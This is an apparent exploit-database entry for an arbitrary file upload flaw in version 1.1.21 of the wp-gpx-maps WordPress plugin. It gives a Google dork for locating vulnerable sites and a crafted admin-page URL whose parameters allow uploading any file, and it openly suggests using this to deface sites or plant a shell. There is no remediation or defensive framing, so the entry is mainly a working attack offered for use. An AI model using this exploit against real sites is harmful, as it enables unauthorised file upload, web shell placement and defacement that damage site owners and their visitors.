###########################################################
#
# Exploit Title: Wordpress wp-gpx-map version 1.1.21 Arbitrary File Upload
# Google Dork: inurl:wp-content/plugins/wp-gpx-maps/
# Date: 11/05/2012
# Exploit Author: Adrien Thierry
# Vendor Homepage: http://www.darwinner.it/
# Software Link: http://downloads.wordpress.org/plugin/wp-gpx-maps.1.1.21.zip
# Version: 1.1.21
#
###########################################################
Vuln page : http://mysite.com/wp-content/plugins/wp-gpx-maps/wp-gpx-maps_admin_tracks.php
exploit :
Go to url :
http://my-site.com/wp-content/plugins/wp-gpx-maps/wp-gpx-maps_admin_tracks.php?realGpxPath=.&target_path=.&gpxRegEx=//
And you can upload what you want. You could change file path with target_path (deface, shell etc...)
#####################################################################